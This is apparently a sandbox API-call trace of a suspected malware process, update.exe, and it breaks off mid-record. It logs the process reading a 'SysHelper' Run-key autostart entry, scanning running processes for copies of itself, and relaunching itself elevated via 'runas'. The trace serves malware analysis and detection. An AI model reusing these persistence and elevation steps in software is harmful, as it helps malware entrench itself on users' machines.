lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x43\xb1\x5e\x7e\x40\xfd\x18", lpUsedDefaultChar=0x0) returned 256 [0100.865] GetLastError () returned 0x0 [0100.866] SetLastError (dwErrCode=0x0) [0100.866] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0100.866] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x18f558, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0100.866] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0100.866] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x18f348, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0100.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fa04, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x43\xb1\x5e\x7e\x40\xfd\x18", lpUsedDefaultChar=0x0) returned 256 [0100.866] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0100.866] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x41c0db) returned 0x40972f [0100.869] GetCurrentProcess () returned 0xffffffff [0100.869] GetLastError () returned 0x0 [0100.869] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0100.870] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x189f9c | out: phkResult=0x189f9c*=0xbc) returned 0x0 [0100.870] RegQueryValueExW (in: hKey=0xbc, lpValueName="SysHelper", lpReserved=0x0, lpType=0x189f90, lpData=0x18b070, lpcbData=0x189fb8*=0x400 | out: lpType=0x189f90*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --AutoStart", lpcbData=0x189fb8*=0xd4) returned 0x0 [0100.870] RegCloseKey (hKey=0xbc) returned 0x0 [0100.870] lstrlenA (lpString="\" --AutoStart") returned 13 [0100.870] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned 1 [0100.870] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --AutoStart" [0100.870] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --AutoStart", pNumArgs=0x18d0d0 | out: pNumArgs=0x18d0d0) returned 0x61d3f0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0100.871] lstrcpyW (in: lpString1=0x18f598, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0100.871] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --AutoStart" [0100.871] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --AutoStart", pNumArgs=0x18d064 | out: pNumArgs=0x18d064) returned 0x61d3f0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0100.871] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned="update.exe" [0100.871] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x773e0000 [0100.872] GetProcAddress (hModule=0x773e0000, lpProcName="EnumProcesses") returned 0x0 [0100.872] GetProcAddress (hModule=0x773e0000, lpProcName="EnumProcessModules") returned 0x0 [0100.872] GetProcAddress (hModule=0x773e0000, lpProcName="GetModuleBaseNameW") returned 0x0 [0100.872] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x770c0000 [0100.873] GetProcAddress (hModule=0x770c0000, lpProcName="EnumProcesses") returned 0x770c1544 [0100.873] GetProcAddress (hModule=0x770c0000, lpProcName="EnumProcessModules") returned 0x770c1408 [0100.873] GetProcAddress (hModule=0x770c0000, lpProcName="GetModuleBaseNameW") returned 0x770c152c [0100.873] EnumProcesses (in: lpidProcess=0x182860, cb=0xa000, lpcbNeeded=0x18d070 | out: lpidProcess=0x182860, lpcbNeeded=0x18d070) returned 1 [0100.875] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0100.875] CloseHandle (hObject=0x0) returned 0 [0100.875] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0100.875] CloseHandle (hObject=0x0) returned 0 [0100.875] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0100.875] CloseHandle (hObject=0x0) returned 0 [0100.875] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0100.875] CloseHandle (hObject=0x0) returned 0 [0100.875] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0100.875] CloseHandle (hObject=0x0) returned 0 [0100.875] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0100.876] CloseHandle (hObject=0x0) returned 0 [0100.876] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0100.876] CloseHandle (hObject=0x0) returned 0 [0100.876] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c8) returned 0x0 [0100.876] CloseHandle (hObject=0x0) returned 0 [0100.876] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d0) returned 0x0 [0100.876] CloseHandle (hObject=0x0) returned 0 [0100.876] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d8) returned 0x0 [0100.876] CloseHandle (hObject=0x0) returned 0 [0100.876] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0100.876] CloseHandle (hObject=0x0) returned 0 [0100.877] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0100.877] CloseHandle (hObject=0x0) returned 0 [0100.877] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0100.877] CloseHandle (hObject=0x0) returned 0 [0100.877] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x33c) returned 0x0 [0100.877] CloseHandle (hObject=0x0) returned 0 [0100.877] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x374) returned 0x0 [0100.877] CloseHandle (hObject=0x0) returned 0 [0100.877] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3b0) returned 0x0 [0100.877] CloseHandle (hObject=0x0) returned 0 [0100.877] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3fc) returned 0x0 [0100.877] CloseHandle (hObject=0x0) returned 0 [0100.877] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x30c) returned 0xbc [0100.877] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0100.877] CloseHandle (hObject=0xbc) returned 1 [0100.877] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x370) returned 0xbc [0100.878] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0100.878] CloseHandle (hObject=0xbc) returned 1 [0100.878] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x414) returned 0xbc [0100.878] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0100.878] CloseHandle (hObject=0xbc) returned 1 [0100.878] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x0 [0100.878] CloseHandle (hObject=0x0) returned 0 [0100.878] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4cc) returned 0xbc [0100.878] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0100.879] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x400000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="update.exe") returned 0xa [0100.879] CloseHandle (hObject=0xbc) returned 1 [0100.879] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x500) returned 0x0 [0100.879] CloseHandle (hObject=0x0) returned 0 [0100.880] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x53c) returned 0xbc [0100.880] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0100.880] CloseHandle (hObject=0xbc) returned 1 [0100.880] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x54c) returned 0x0 [0100.880] CloseHandle (hObject=0x0) returned 0 [0100.880] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x570) returned 0xbc [0100.880] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0100.881] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x400000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="reader_sl.exe") returned 0xd [0100.881] CloseHandle (hObject=0xbc) returned 1 [0100.881] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5b0) returned 0xbc [0100.882] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0100.882] CloseHandle (hObject=0xbc) returned 1 [0100.882] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x61d4d8, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe")) returned 0x5b [0100.882] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3") returned 1 [0100.882] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --AutoStart" [0100.882] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --AutoStart", pNumArgs=0x18d0d0 | out: pNumArgs=0x18d0d0) returned 0x61e4f8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0100.882] GetVersion () returned 0x1db10106 [0100.882] lstrcpyW (in: lpString1=0x18d398, lpString2="--Admin" | out: lpString1="--Admin") returned="--Admin" [0100.882] lstrcatW (in: lpString1="--Admin", lpString2=" IsAutoStart" | out: lpString1="--Admin IsAutoStart") returned="--Admin IsAutoStart" [0100.882] lstrcatW (in: lpString1="--Admin IsAutoStart", lpString2=" IsNotTask" | out: lpString1="--Admin IsAutoStart IsNotTask") returned="--Admin IsAutoStart IsNotTask" [0100.882] ShellExecuteExW (in: pExecInfo=0x18d1e8*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", lpParameters="--Admin IsAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3", nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18d1e8*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", lpParameters="--Admin IsAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3", nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0109.530] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fd38 | out: phModule=0x18fd38) returned 0 [0109.530] ExitProcess (uExitCode=0x0) [0109.536] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 84 os_tid = 0x6f0 Thread: id = 85 os_tid = 0x6f4 Thread: id = 86 os_tid = 0x700 Thread: id = 87 os_tid = 0x704 Process: id = "15" image_name = "update.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" page_root = "0x7098d000" os_pid = "0x68c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "14" os_parent_pid = "0x4cc" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Admin IsAutoStart IsNotTask" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e23f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id 